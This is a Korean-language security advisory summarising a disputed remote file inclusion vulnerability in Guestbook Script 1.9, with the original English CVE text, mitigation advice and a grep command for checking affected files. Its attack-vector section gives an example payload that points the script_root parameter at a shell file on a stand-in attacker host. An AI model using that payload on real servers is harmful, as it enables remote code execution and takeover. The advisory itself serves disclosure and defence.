🇰🇷 한글 설명
Guestbook Script 1.9의 script_root 파라미터에서 Remote File Inclusion 취약점이 발견되었습니다. 공격자가 외부 PHP 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다. delete.php, edit.php, database.php, entries.php, index.php, logout.php, settings.php 등 여러 파일이 영향을 받습니다.
💡 쉬운 설명
공격자가 악의적인 PHP 코드가 담긴 파일을 웹사이트에 강제로 포함시켜 서버에서 실행하게 할 수 있는 취약점입니다. 이를 통해 서버를 완전히 제어하거나 데이터를 탈취할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Guestbook Script 1.9 allow remote attackers to execute arbitrary PHP code via a URL in the script_root parameter to (1) delete.php, (2) edit.php, or (3) inc/common.inc.php; or (4) database.php, (5) entries.php, (6) index.php, (7) logout.php, or (8) settings.php in admin/. NOTE: a third party disputes this vulnerability, noting that these scripts defend against direct requests
📍 영향받는 시스템
Guestbook Script version 1.9 및 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청을 통해 script_root 파라미터에 원격 파일 URL을 삽입 (예: ?script_root=http://attacker.com/shell.php)
🛡️ 대응 방법
1.9 이후 버전으로 업그레이드하거나, script_root 파라미터 입력값을 화이트리스트 검증으로 제한하고 외부 파일 포함(include/require) 제거
🔧 검증 코드
찾은 파일들에서 script_root 변수가 include/require 함수에 직접 사용되는지 확인. 사용된다면 취약점 존재, 입력값 검증 코드가 있으면 완화 여부 판단
find /var/www -name 'delete.php' -o -name 'edit.php' 2>/dev/null | xargs grep -l 'script_root' | head -5